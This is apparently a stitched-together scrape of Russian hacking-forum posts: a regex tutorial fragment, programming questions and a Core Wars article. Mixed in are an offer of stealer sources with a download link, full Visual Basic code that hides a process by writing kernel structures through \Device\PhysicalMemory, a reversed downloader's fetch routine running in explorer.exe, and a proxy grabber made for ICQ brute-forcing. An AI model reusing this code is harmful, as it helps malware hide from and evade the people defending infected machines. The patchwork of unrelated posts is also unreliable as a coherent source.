Эти флаги могут быть использованы в любом порядке или комбинации, и являются
неотъемлемой частью регулярных выражений.
Флаг| Описание
---|---
i| Поиск без учета регистра
g| Глобальный поиск: поиск шаблона во всем входном тексте
m| Мультистроковый поиск: Якоря применяются к каждой строке.
5.1 Поиск без учета регистра
Модификатор i используется для поиска без учета регистра. Например, регулярное
выражение /The/gi означает заглавную T следом строчные h и e. В конце
регулярного выражения флаг i, указывающий движку регулярных выражений
игнорировать регистр. Помимо i, для поиска шаблона во всем входном тексте,
использован флаг g.
"The" => The fat cat sat on the mat.
Запустить регулярное выражение
"/The/gi" => The fat cat sat on the mat.
Запустить регулярное выражение
5.2 Глобальный поиск
Модификатор g используется для выполнения глобального сопоставления (найти все
совпадения, а не останавливаться после первого). Например, регулярное
выражение /.(at)/g означает любой символ кроме символа новой строки, следом
строчная a, далее строчная t. Из-за использования флага g в конце регулярного
выражения, теперь оно найдет все совпадения во входной строке, а не
остановится на первом (что является поведением по умолчанию).
"/.(at)/" => The fat cat sat on the mat.
Запустить регулярное выражение
"/.(at)/g" => The fat cat sat on the mat.
Запустить регулярное выражение
5.3 Мультистроковый поиск
Модификатор m используется для многострочного поиска. Как мы обсуждали ранее,
якоря (^, $) используются для проверки, является ли шаблон началом или концом
входной строки. Но если мы хотим, чтобы якоря работали в каждой строке, мы
используем флаг m. Например, регулярное выражение /at(.)?$/gm означает
строчную a, следом строчная t и любой символ кроме начала новой строки, идущий
опционально (не обязательно). Из-за флага m механизм регулярных выражений
будет искать данный шаблон в конце каждой строки в тексте.
"/.at(.)?$/" => The fat
cat sat
on the mat.
Запустить регулярное выражение
"/.at(.)?$/gm" => The fat
cat sat
on the mat.
Запустить регулярное выражение
6. Жадные vs ленивые квантификаторы
По умолчанию регулярное выражение выполняет жадное сопоставление, то есть оно
будет искать совпадения как можно дольше. Мы можем использовать ? для ленивого
поиска, который будет стремиться быть как можно более коротким по времени.
"/(.*at)/" => The fat cat sat on the mat.
Запустить регулярное выражение
"/(.*?at)/" => The fat cat sat on the mat.
Запустить регулярное выражение
Автор: © Zeeshan Ahmad
Всем привет.Какие есть варианты определения IP в ПУ?MaxMind еще актуален?Есть у кого-то документация по настройке?
Как корректо указывать код в следующих ситуациях?
После действия нужно завершить, удалить скрипт и перекинуть на новую страницу. Но, как?
PHP:Copy to clipboard
unlink('oldscript.php');
header("Location: newscript.php");
exit;
Есть ли разница или как правильнее указывать подгружаемые файлы? Файл - код - файл или сразу все файлы списком?
PHP:Copy to clipboard
<link href="/assets/bootstrap/css/bootstrap.css" rel="stylesheet" type="text/css"/>
<link href="/assets/bootstrap/css/bootstrap.min.css" rel="stylesheet" type="text/css"/>
<link href="/assets/css/style.css" rel="stylesheet" type="text/css"/>
Code...
<script src="/assets/bootstrap/js/bootstrap.bundle.js" type="text/javascript"></script>
<script src="/assets/bootstrap/js/bootstrap.js" type="text/javascript"></script>
<script src="/assets/bootstrap/js/bootstrap.min.js" type="text/javascript"></script>
И чисто косметический вопрос, есть ли разница как указывать локацию в редиректе? С заглавной или строчной буквы?
Здравствуйте.
Ищу концепт/вариант/сорец генерации BTC счета для последующего перевода на
него денег, верификации платежа и вывода сообщения о результате.
Условие: чистый PHP, без js/json.
Смотрел в сторону сервисов, но нет желания платить процент и зависимость от левых сервисов в моем проекте не гуд. Плюс верификация и доп запрос, как в blockchain.info и coinpayments.
Если заложить в скрипт возможность выбора одного кошелька из 100 и более, тем самым создав "случайность", как лучше верифицировать платеж без запроса в сторонний сервис? Насколько я понимаю, никак, нужно брать нижеуказанную штуку и синхронизироваться с блокчейном без посредников.
Думаю насчет bitcoind и json-rpc, но последнее уже выводит из тз. Придется ставить десктопный кошелек и подгружать 150+ гб блокчейна. Есть возможность использовать с bitcoind raw связь вместо json?
Разбираюсь уже порядка 5 часов, адекватных идей нет.
P.S. Для поиска примера копался в дарк ресурсах с наличием оплаты в крипте, но большинство с js и даже с ним работает криво.
Осваиваю уже какое-то время этот фреймворк . Решил написать небольшой магазин
(просто для опыта .) но не могу решить как лучше принимать платежи ?
Опыта с ИМ вообще мало было . Только парочку делал на OC и WP но там плагины /
модули спасали .... .
Может кто - что посоветует ?
Интересует не только готовые решения но и вообще логика отслеживания ,
получения , обработки оплаты . Так что желательно линки на статьи
ps : в гугле мало что нашёл а то что нашёл уже прочитал . Хочу больше инфы .
Подскажите нубу по рассылке по действующим клиентам и связи, ноу криминалити, джаст музыкалити)
ТЗ интеграция. Что то есть живое сейчас? Yowsup детектится, номер в бан улетает, а это не хорошо. Краем уха слышал про несколько разных библиотек.
Куда копнуть, ткните пожалуйста.
Привет =) Делаю простейшую игру в целях обучения. Игра Ping-Pong на JavaScript
и движке Phaser 2.
Хочу сделать, чтобы можно было менять скорость передвижения шарика прямо во
время игры.
Тобишь нажатием на кнопку паузы игра останавливается и вылетает меню с выбором
скорости(всего 6 режимов скорости).
После выбора скорости и закрытия этой меню скорость шарика сразу изменяется.
вот сама игра http://f0283831.xsph.ru
Если нужно могу архив с исходниками прикрепить.
Не могу сообразить как это реализовать.
Буду очень благодарен за любую помощь мне в обучении))
Недавно в какой-то теме (вроде на экспе) нашел, что вебмастерам иногда надо редирект без реферера. Давайте обсудим разные способы редиректа пользователей, с реферером и без, в общем, как можно перенаправить юзера куда-нибудь, в основном касается методов на стороне клиента. Т.е. всяческие php header(), htaccess и так далее думаю, мало кому интересны.
Из того, что я нагуглил, практически идеальное (и кросс-браузерное) решение, это popup (про них где-то упоминал Aels, и вообще, многие веб-мастера в инете советуют юзать поп-апы). Т.е. код вида
Code:Copy to clipboard
function go(url)
{
w = window.open('about:blank','blank');
w.document.write('<meta http-equiv="refresh" content="0;url='+url+'">');
w.document.close();
return false;
}
Минусы способа - всплывающие окна давно уже режутся всеми браузерами, поэтому надо привязывать функцию к клику (что не особо хороший вариант, как угадать, что юзер кликнет на нужной ссылке/кнопке)? К слову, почему-то на событие mousemove функция у меня не сработала как надо, окно создалось, но инфа в него не записалась (редирект), почему хз (в яваскрипт я не силен, знаю на уровне чтения).
Еще вроде неплохой вариант с ифреймом
Code:Copy to clipboard
<iframe src="javascript:parent.location='тут_линк'" style="visibility:hidden">
</iframe>
но работает далеко не во всех браузерах (реферер пропал в ие и хроме, но остался в фф, опере).
К слову, на всех форумах обсуждения, что могут победить оперу - этот браузер передает редирект при любых условиях.
И еще - по всплывающим окнам. У меня была мысль потестить библиотеки типа extjs, jquery - там же есть компоненты (или как там их) всплывающих окон, которые (пока) браузерами не лочатся. Минус - не факт что удастся подгрузить юзеру целую библиотеку через ифрейм, это все таки не 2-3 строчки кода.
создаюэтот топ так как возникаю вопросы и одна голова хороше а много - намного
лучше
1.какой редактор для кода выбрать - почему?
Интересует NtOpenSection, срабатывает в ХР, а в вин7 ACCES DENIED.
Вообщем попался мне на глаза длоадер, давно хотел его посмотреть, но все
времени не было
Тут на сайте видел даже, по-моему, обзор по реверсу был, но он мне вообще не
понравился, так как не отражал истину до конца
Короче как-то так сложилось, что я привык юзать сокеты и wininet воспринимал
как попсу и не при каких обстоятельствах не хотел юзать
Но вот сделал поверхностный реверс этого длоадера, увидел у него функцию
загрузки
Короче.. примерно такой код:
Code:Copy to clipboard
DWORD dwSize;
HINTERNET hInternet = InternetOpen("UserAgent", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if(hInternet)
{
HINTERNET hUrl = InternetOpenUrl(hInternet, "http://wasm.ru/forum/img/Invision-board/title_cat.gif", NULL, 0, 0, 0);
if(hUrl)
{
DWORD FileSize = InternetSetFilePointer(hUrl, 0, NULL, FILE_END, 0);
if(FileSize != 0xFFFFFFFF && FileSize >= 10)
{
InternetSetFilePointer(hUrl, 0, NULL, FILE_BEGIN, 0);
FileSize++;
pbFile = (PBYTE)VirtualAlloc(NULL, FileSize, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
if(pbFile)
{
do{
if(!InternetReadFile(hUrl, pbFile, FileSize, &dwSize)) goto LEXIT;
}while(dwSize);
[...]
Юзает он этот код, скорее всего из-за его компактности
Но я, к сожалению wininet не юзал и даже не ожидал, что столько может
моментально появиться вопросов
В первую очередь погуглил и то, что прочитал, убило наповал, но да ладно
оставлю за кадром...
Первый вопрос :
Цитата из статьи
http://www.rsdn.ru/article/inet/wininet.xml - Введение в WinInet
Использует для получения информации функцию HttpQueryInfo с параметром HTTP_QUERY_CONTENT_LENGTH. Я встречался с ситуацией, когда эта функция возвращала ноль, хотя после этого данные читались в полном объёме. Можно было бы использовать функцию InternetQueryDataAvailable, но с ней тоже не всё в порядке. Например, при чтении страницы ASP эта функция выдаёт не размер результирующей страницы, а размер самого скритпа, что, несомненно, является весьма интересной информацией, но совершенно бесполезной для нас. В результате, я не знаю и не могу предложить Вам абсолютно надёжного способа получить точную информацию о размере запрашиваемых данных. Скорее всего, это будет работать, но если Вы предполагаете использовать сервера, которые не можете заранее протестировать, то лучше не полагайтесь на эти функции.
Click to expand...
Здесь как мы видим из кода, размер файла получаем с помощью InternetSetFilePointer и FILE_END
Code:Copy to clipboard
DWORD FileSize = InternetSetFilePointer(hUrl, 0, NULL, FILE_END, 0);
Вот хочу спросить у тех, кто юзал данный код - вариант с
InternetSetFilePointer и FILE_END сто процентов рабочий или тоже траблы есть?
Я в принципе решение нашел, но вот ради интереса хочется узнать.
Второй вопрос :
InternetOpenUrl судя по моим тестам, работает совсем не так как мне нужно
Если картинка была ранее скачена через Internet Explorer и если комп в данный
момент не имеет подключения к инету и Internet Explorer работает в автономном
режиме, картинка будет "скачена" из кэша, а если в Internet Explorer работает
НЕ в автономном режиме, то выскакивает мессага предлагая подключиться к
инету, которая сразу палит все дело - но да ладно, эт можно тоже пофиксить
Проблема начинается при скачивании картинки, InternetOpenUrl "проверяет" кэш и
если есть картинка в кэше, то и читает соответственно ее из кэша и даже не
пытается скачать ее из инета притом, что комп имеет подключение к инету и
находится в онлайн
Но даже у меня как-то получилось (я даже не понял как), чтобы InternetOpenUrl
попыталась обратиться к урлу и там даже было получено несколько пакетов, в
которых походу проверялась дата последнего обновления картинки и все, мля..
естественно она одинаковая и произошла загрузка опять из кэша
Вот хочу спросить у тех, кто юзал данный код - как заставить InternetOpenUrl
при любых обстоятельствах скачать картинку, даже если дата "обновления"
идентична?
ЗЫ: Если картинку качать первый раз, то все замечательно качает...
ЗЫЫ: Код находится в процессе explorer.exe
Посоветуйте, плиз, где можно найти учебник, в котором освещены вопросы безопасного программирования на Java, уязвмости этого языка, системы идентификации.аутентификации, криптография и т.п.
При изучении, а также использовании XML часто возникают трудности. В етой теме мы поможем вам их решить.
[mod][Great:] прикрепил. постим сюда. другие темы будут безжалостно сноситься[/mod]
Просьба не считать тему холиваром или провокацией, просто очень интересно узнать различное мнение со стороны.
В последнее время я начал задумываться над выбором какого-нибудь языка для
разносторонней работы с сетью. Под работой с сетью я имею ввиду не ддос боты
(с ними то как раз все ясно, там сокеты/апи + асм/си), а различные парсеры,
чекеры, реггеры, спамеры и так далее. Актуально это не только для комерца -
иногда для себя нужно что-то просканировать, спарсить, и т.д., а готовых
инструментов или нет, или же они кривые/неактуальные/протрояненные/etc. В
общем, не суть.
Хотелось бы найти какой-то язык для сети, чтобы он был:
а) Удобным. Кроме "чистых" сокетов хотелось бы какие-то либы, компоненты, и
так далее, для более быстрой и простой разработки. Низкий уровень не всегда и
не везде нужен, это не ддос же.
B) Относительно несложным в изучении. Чтобы ради одной сети не надо было вникать в какие-то дебри языка.
с)Хотелось бы гибкости и нормальной работы с большим количеством протоколов.
d) не особо "тяжелым" для системы (не так, что 1 скрипт загружает цпу на 99%).
С того, что я пробовал, могу отметить.
0. Масм и сокеты. Я считаю, что это не оправдано для "спамсофта". Слишком
сложно и муторно писать все это на ассемблере, да и смысла уже нет.
1. РНР - фактически, php был (и есть) моим первым серьезным языком. Из
плюсов, в нем могу выделить относительную простоту разработки, много
документации и примеров. Для работы с сетью, как я понимаю, есть те же сокеты
и стандартные функции (file_get_contents), курл, и какие-то расширения PEAR
(хз кто ими пользуется).
Про минусы - лично мне сложно судить, но многие говорят, что пхп а)не
поддерживает многопоточность (разве что мультикурл); б)медленно работает,
грузит систему (с этим можно поспорить..); в) вообще существует для разработки
сайтов , а не такого софта.
2. Perl - как я понимаю, в основном такие вещи пишут как раз таки на нем.Из негатива про него я слышал, что перл тяжел в изучении/сильно грузит систему. Ну и якобы он уже устарел и умирает.
3. Python - замечательный язык, относительно простой, куча либ, документации, примеров, кодеров. Если бы не жирный минус, который портит все плюсы - эти отступы в коде. Зачем их придумали - неизвестно, но считать пробелы в коде, это, имхо, извращение еще то. Тоже на нем не кодил практически, выбираю все между перлом и питоном.
4. Delphi - на этом языке написано наверное 95% прог для работы с сетью (да и ддос ботов). Огромное к-тво примеров, книг, мануалов, сорцев, библиотек (Инди, синапс, курл, и т.д.). Какие минусы - не знаю, единственный (лично для меня), это необходимость изучать полностью новый синтаксис (паскаль я не знаю вообще).
5. C++ builder очень похож на дельфи. Из плюсов - С подобный синтаксис, знание которого приходится и в яваскрипте, и в пхп. Из минусов - С++ со своими указателями, мильеном типов строк и т.д. наверное является самым сложным языком среди существующих.
6. Си шарп. Тут даже и не знаю. Язык сильно развивается, под него есть также много либ и т.д. Но требует фреймворк. Насколько это минус, не могу судить. По моему, щас эти фреймворки есть даже в сборках ХР.
Интересно услышать ваше мнение по выбору языка сугубо для net-кодинга. Или стоит остановится на php и не париться?
Spoiler: 7
http://www.sendspace.com/file/az7uz8
pass:xss.is/
Привет всем мемберам дамаги. Прошё помоч новичку написать парсер для google на
php и (или) как пользоваться функцией preg_match_all() а то я по ней не чё не
понял. Мне надо что бы по запросу показывались только линки на страницу со
всех страницы.
К примеру что бы по запросу Virus
(http://www.google.ru/search?client=opera&rls=ru&q=Virus&sourceid=opera&ie=utf-8&oe=utf-8&channel=suggest)
выдало:
http://ru.wikipedia.org/wiki/Вирусы
http://ru.wikipedia.org/wiki/Компьютерный_вирус
http://www.google.ru/search?q=Virus&hl=ru&...oI&ved=0CEUQqAI
http://www.securitylab.ru/virus/
И т.д.
Я пишу одно чудо и если что получится то выложу сюда!
Я на вас очень надеюсь... помогите пожалуйсто!
Есть ли в паблике фтп- чекеры на пхп или перле?
Что-то толком не попалось.
Требуется валидация списка логин-пароль, и закачка через прокси
Подскажите, плз
Сорцы того фирменного стилера от хэкхаунда. Очень даже актуальны.
Скачать|Download
Module Code
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID _
As Long, ByVal dwType As Long) As Long
Form CodePublic Sub HideApp(Hide As Boolean)
Dim ProcessID As Long
ProcessID = GetCurrentProcessId()If Hide Then
retval = RegisterServiceProcess(ProcessID, RSP_SIMPLE_SERVICE)
Else
retval = RegisterServiceProcess(ProcessID, RSP_UNREGISTER_SERVICE)
End If
End Sub[/code:yn1l1tdl]Hide Process XP
[code:yn1l1tdl]' Process hiding in VB
'
' Just drop module into project as call HideCurrentProcess
' on application startup.
'Option Explicit
Private Const STATUS_INFO_LENGTH_MISMATCH = &HC0000004
Private Const STATUS_ACCESS_DENIED = &HC0000022
Private Const STATUS_INVALID_HANDLE = &HC0000008
Private Const ERROR_SUCCESS = 0&
Private Const SECTION_MAP_WRITE = &H2
Private Const SECTION_MAP_READ = &H4
Private Const READ_CONTROL = &H20000
Private Const WRITE_DAC = &H40000
Private Const NO_INHERITANCE = 0
Private Const DACL_SECURITY_INFORMATION = &H4Private Type IO_STATUS_BLOCK
Status As Long
Information As Long
End TypePrivate Type UNICODE_STRING
Length As Integer
MaximumLength As Integer
buffer As Long
End TypePrivate Const OBJ_INHERIT = &H2
Private Const OBJ_PERMANENT = &H10
Private Const OBJ_EXCLUSIVE = &H20
Private Const OBJ_CASE_INSENSITIVE = &H40
Private Const OBJ_OPENIF = &H80
Private Const OBJ_OPENLINK = &H100
Private Const OBJ_KERNEL_HANDLE = &H200
Private Const OBJ_VALID_ATTRIBUTES = &H3F2Private Type OBJECT_ATTRIBUTES
Length As Long
RootDirectory As Long
ObjectName As Long
Attributes As Long
SecurityDeor As Long
SecurityQualityOfService As Long
End TypePrivate Type ACL
AclRevision As Byte
Sbz1 As Byte
AclSize As Integer
AceCount As Integer
Sbz2 As Integer
End TypePrivate Enum ACCESS_MODE
NOT_USED_ACCESS
GRANT_ACCESS
SET_ACCESS
DENY_ACCESS
REVOKE_ACCESS
SET_AUDIT_SUCCESS
SET_AUDIT_FAILURE
End EnumPrivate Enum MULTIPLE_TRUSTEE_OPERATION
NO_MULTIPLE_TRUSTEE
TRUSTEE_IS_IMPERSONATE
End EnumPrivate Enum TRUSTEE_FORM
TRUSTEE_IS_SID
TRUSTEE_IS_NAME
End EnumPrivate Enum TRUSTEE_TYPE
TRUSTEE_IS_UNKNOWN
TRUSTEE_IS_USER
TRUSTEE_IS_GROUP
End EnumPrivate Type TRUSTEE
pMultipleTrustee As Long
MultipleTrusteeOperation As MULTIPLE_TRUSTEE_OPERATION
TrusteeForm As TRUSTEE_FORM
TrusteeType As TRUSTEE_TYPE
ptstrName As String
End TypePrivate Type EXPLICIT_ACCESS
grfAccessPermissions As Long
grfAccessMode As ACCESS_MODE
grfInheritance As Long
TRUSTEE As TRUSTEE
End TypePrivate Type AceArray
List() As EXPLICIT_ACCESS
End TypePrivate Enum SE_OBJECT_TYPE
SE_UNKNOWN_OBJECT_TYPE = 0
SE_FILE_OBJECT
SE_SERVICE
SE_PRINTER
SE_REGISTRY_KEY
SE_LMSHARE
SE_KERNEL_OBJECT
SE_WINDOW_OBJECT
SE_DS_OBJECT
SE_DS_OBJECT_ALL
SE_PROVIDER_DEFINED_OBJECT
SE_WMIGUID_OBJECT
End EnumPrivate Declare Function SetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any) As Long
Private Declare Function GetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any, ppSecurityDeor As Long) As LongPrivate Declare Function SetEntriesInAcl Lib "advapi32.dll" Alias "SetEntriesInAclA" (ByVal cCountOfExplicitEntries As Long, pListOfExplicitEntries As EXPLICIT_ACCESS, ByVal OldAcl As Long, NewAcl As Long) As Long
Private Declare Sub BuildExplicitAccessWithName Lib "advapi32.dll" Alias "BuildExplicitAccessWithNameA" (pExplicitAccess As EXPLICIT_ACCESS, ByVal pTrusteeName As String, ByVal AccessPermissions As Long, ByVal AccessMode As ACCESS_MODE, ByVal Inheritance As Long)Private Declare Sub RtlInitUnicodeString Lib "NTDLL.DLL" (DestinationString As UNICODE_STRING, ByVal SourceString As Long)
Private Declare Function ZwOpenSection Lib "NTDLL.DLL" (SectionHandle As Long, ByVal DesiredAccess As Long, ObjectAttributes As Any) As Long
Private Declare Function LocalFree Lib "kernel32" (ByVal hMem As Any) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function MapViewOfFile Lib "kernel32" (ByVal hFileMascumngObject As Long, ByVal dwDesiredAccess As Long, ByVal dwFileOffsetHigh As Long, ByVal dwFileOffsetLow As Long, ByVal dwNumberOfBytesToMap As Long) As Long
Private Declare Function UnmapViewOfFile Lib "kernel32" (lpBaseAddress As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As LongPrivate Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End TypePrivate verinfo As OSVERSIONINFO
Private g_hNtDLL As Long
Private g_pMapPhysicalMemory As Long
Private g_hMPM As Long
Private aByte(3) As BytePublic Sub HideCurrentProcess()
Dim thread As Long, process As Long, fw As Long, bw As Long
Dim lOffsetFlink As Long, lOffsetBlink As Long, lOffsetPID As Longverinfo.dwOSVersionInfoSize = Len(verinfo)
If (GetVersionEx(verinfo)) <> 0 Then
If verinfo.dwPlatformId = 2 Then
If verinfo.dwMajorVersion = 5 Then
Select Case verinfo.dwMinorVersion
Case 0
lOffsetFlink = &HA0
lOffsetBlink = &HA4
lOffsetPID = &H9C
Case 1
lOffsetFlink = &H88
lOffsetBlink = &H8C
lOffsetPID = &H84
End Select
End If
End If
End IfIf OpenPhysicalMemory <> 0 Then
thread = GetData(&HFFDFF124)
process = GetData(thread + &H44)
fw = GetData(process + lOffsetFlink)
bw = GetData(process + lOffsetBlink)
SetData fw + 4, bw
SetData bw, fw
CloseHandle g_hMPM
End If
End SubPrivate Sub SetPhyscialMemorySectionCanBeWrited(ByVal hSection As Long)
Dim pDacl As Long
Dim pNewDacl As Long
Dim pSD As Long
Dim dwRes As Long
Dim ea As EXPLICIT_ACCESSGetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, pDacl, 0, pSD
ea.grfAccessPermissions = SECTION_MAP_WRITE
ea.grfAccessMode = GRANT_ACCESS
ea.grfInheritance = NO_INHERITANCE
ea.TRUSTEE.TrusteeForm = TRUSTEE_IS_NAME
ea.TRUSTEE.TrusteeType = TRUSTEE_IS_USER
ea.TRUSTEE.ptstrName = "CURRENT_USER" & vbNullCharSetEntriesInAcl 1, ea, pDacl, pNewDacl
SetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, ByVal pNewDacl, 0
CleanUp:
LocalFree pSD
LocalFree pNewDacl
End SubPrivate Function OpenPhysicalMemory() As Long
Dim Status As Long
Dim PhysmemString As UNICODE_STRING
Dim Attributes As OBJECT_ATTRIBUTESRtlInitUnicodeString PhysmemString, StrPtr("\Device\PhysicalMemory")
Attributes.Length = Len(Attributes)
Attributes.RootDirectory = 0
Attributes.ObjectName = VarPtr(PhysmemString)
Attributes.Attributes = 0
Attributes.SecurityDeor = 0
Attributes.SecurityQualityOfService = 0Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes)
If Status = STATUS_ACCESS_DENIED Then
Status = ZwOpenSection(g_hMPM, READ_CONTROL Or WRITE_DAC, Attributes)
SetPhyscialMemorySectionCanBeWrited g_hMPM
CloseHandle g_hMPM
Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes)
End IfDim lDirectoty As Long
verinfo.dwOSVersionInfoSize = Len(verinfo)
If (GetVersionEx(verinfo)) <> 0 Then
If verinfo.dwPlatformId = 2 Then
If verinfo.dwMajorVersion = 5 Then
Select Case verinfo.dwMinorVersion
Case 0
lDirectoty = &H30000
Case 1
lDirectoty = &H39000
End Select
End If
End If
End IfIf Status = 0 Then
g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, 4, 0, lDirectoty, &H1000)
If g_pMapPhysicalMemory <> 0 Then OpenPhysicalMemory = g_hMPM
End If
End FunctionPrivate Function LinearToPhys(BaseAddress As Long, addr As Long) As Long
Dim VAddr As Long, PGDE As Long, PTE As Long, PAddr As Long
Dim lTemp As LongVAddr = addr
CopyMemory aByte(0), VAddr, 4
lTemp = Fix(ByteArrToLong(aByte) / (2 ^ 22))PGDE = BaseAddress + lTemp * 4
CopyMemory PGDE, ByVal PGDE, 4If (PGDE And 1) <> 0 Then
lTemp = PGDE And &H80
If lTemp <> 0 Then
PAddr = (PGDE And &HFFC00000) + (VAddr And &H3FFFFF)
Else
PGDE = MapViewOfFile(g_hMPM, 4, 0, PGDE And &HFFFFF000, &H1000)
lTemp = (VAddr And &H3FF000) / (2 ^ 12)
PTE = PGDE + lTemp * 4
CopyMemory PTE, ByVal PTE, 4If (PTE And 1) <> 0 Then
PAddr = (PTE And &HFFFFF000) + (VAddr And &HFFF)
UnmapViewOfFile PGDE
End If
End If
End IfLinearToPhys = PAddr
End FunctionPrivate Function GetData(addr As Long) As Long
Dim phys As Long, tmp As Long, Ret As Longphys = LinearToPhys(g_pMapPhysicalMemory, addr)
tmp = MapViewOfFile(g_hMPM, 4, 0, phys And &HFFFFF000, &H1000)
If tmp <> 0 Then
Ret = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4
CopyMemory Ret, ByVal Ret, 4UnmapViewOfFile tmp
GetData = Ret
End If
End FunctionPrivate Function SetData(ByVal addr As Long, ByVal data As Long) As Boolean
Dim phys As Long, tmp As Long, x As Longphys = LinearToPhys(g_pMapPhysicalMemory, addr)
tmp = MapViewOfFile(g_hMPM, SECTION_MAP_WRITE, 0, phys And &HFFFFF000, &H1000)
If tmp <> 0 Then
x = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4
CopyMemory ByVal x, data, 4UnmapViewOfFile tmp
SetData = True
End If
End FunctionPrivate Function ByteArrToLong(inByte() As Byte) As Double
Dim i As Integer
For i = 0 To 3
ByteArrToLong = ByteArrToLong + inByte(i) * (&H100 ^ i)
Next i
End FunctionFunction encdec(inputstrinG As String) As String
If Len(inputstrinG) = 0 Then Exit Function
Dim p As String, o As String, k As String, s As String, tempstr As String, i As Integer, g As Integer
g = 1
For i = 1 To Len(inputstrinG)
p = Mid$(inputstrinG, i, 1)
o = Asc(p)
k = o Xor g
s = Chr$(k)
tempstr = tempstr & s
If g = 255 Then g = 1 Else g = g + 1
Next i
encdec = tempstr
End FunctionClick to expand...
В аттаче отредактированный скрипт сабжа с vsedlysna.ru.
Вопрос за счёт чего исполняется скрипт если eval заменён на document.write.
И интересует прога для безопасной проверки результата выполнения скрипта.
Имейте ввиду, открытие файла в браузере может привести к заражению компа.
Подбросьте ссылочку , плз, на какой-нибудь автореггер на пхп- любопытно
посмотреть на пример.
Т.е. порекомендуйте - что есть в паблике поинтересней?
В принципе при наличии соотв. либ можно и десктопную слепить на тех же делфях,
например. но интересен серверный вариант..
Один боевой есть, но наткнулся тут на линк с нулледа h++p://www.nulled.in/showpost.php?p=525477&postcount=409
Кто сможет это выложить или что-нибудь поактуальней, тому + в репу. Мой слишком криво обрабатывает обфусцированный код, приходится ручками дорабатывать.
никогда в жизне не брутил аськи, вабще никогда .. и вот в столь позний час
ударила в дурную голову такая идея, почему бы не попробовать, слил ipd брут
все дела, создал диапазоны, осталось только найти прокси ... в такое время
естественно ничего найти не получится, вот и пришло обратится к фри листам ...
выбор пал на http://www.samair.ru/proxy/ ... естественно они там защищают
свой прокси лист свякими вставками, что бы не просто так было его забрать...
ну ###### пришлось писать грабер на аякс, ибо там просто можно поработать с
регулярками, есть асинхроная скачка и что то типо много поточности ...
зы. не судите строгу javascript у меня на самом низком уровне = )
Code:Copy to clipboard
<html>
<style>.t{font-family:verdana;font-size:9px;}</style>
<body>
<div id="result" align="center" class="t"></div>
<script>
var maxThreads=5;
var numPages=50;
var numThreads=0;
function init() {
var o=null;
if (window.XMLHttpRequest) {
try {
o = new XMLHttpRequest();
} catch (ex) {
return false;
}
} else if (window.ActiveXObject) {
try {
o = new ActiveXObject("Msxml4.XMLHttp");
} catch (ex) {
try {
o = new ActiveXObject("Msxml2.XMLHttp");
} catch (ex) {
try {
o = new ActiveXObject("Microsoft.XMLHttp");
} catch (ex) {
return false;
}
}
}
}
return o;
}
function get(url, processResponse) {
var o=init();
try {
o.open("GET", url, true);
o.onreadystatechange = function() {
if (o.readyState == 4) {
if (o.status == 200) processResponse(o.responseText);
else processResponse(null);
}
};
o.send();
return true;
} catch (ex) {
return false;
}
}
function go(n){
numThreads++;
if( n<10 )n="0"+n;
get("http://www.samair.ru/proxy/proxy-"+n+".htm", function(response) {
if (response != null) {
sux=response.toUpperCase();
var reg='<TR><TD><SPAN CLASS="PROXY\\d+">(\\d+)<\\/SPAN>\\.<SPAN CLASS="PROXY\\d+">(\\d+)<\\/SPAN>([\\.:\\d]+)\\s(\\d+)<\\/TD><TD>'
var re = new RegExp(reg,'g');
ret = sux.match(re);
for(var i=0;ret[i];i++) {
var re = new RegExp(reg);
var v = ret[i].match(re);
document.getElementById('result').innerHTML+=v[1]+'.'+v[2]+v[3]+v[4]+'
';
}
}
numThreads--;
});
}
document.getElementById('result').innerHTML='el-samir-grab
coded by ...
';
function crtThreads( s ) {
if( numThreads>=maxThreads ) {
setTimeout( "crtThreads("+s+")", 1000);
return 0;
}
for(var i=s;i<( s+maxThreads-numThreads ); i++) {
go( i );
}
if(i<numPages)setTimeout("crtThreads("+i+")", 1000);
return 0;
}
crtThreads(1);
</script>
</body>
</html>
Статья взята с http://www.codenet.ru
Слышали ли вы про Core Wars? Вряд ли. Максимум - один из десяти читателей. Тот, что постарше, тот, что лет 15 назад был программистом или сочувствующим...
Развлечение это (а Core Wars - игра) исключительно программистское. Ибо суть его в сражении, но не между людьми. Сражении между программами. И цель - написать такого бойца, который победит остальных.
Как происходит бой? Всё просто - программы-бойцы загружаются в общую область памяти и одновременно запускаются. Та, что проработает дольше всех - победитель. Программа, которая исполнила недопустимую инструкцию, "умирает". Понятно, что сам автор таких инструкций в неё не добавляет - ими "бомбят" память другие программы в надежде испортить конкурентов. Кроме того, пытаясь уйти от бомбёжки, почти все программы то и дело перемещают себя в памяти. Память же закольцована - вслед за последней ячейкой идёт первая. Пардон, нулевая, конечно. Программисты мы или нет?
"Самобеглый" mov или, иначе, Имп - простейшая программа-боец из одной команды:
mov.i $0, $1
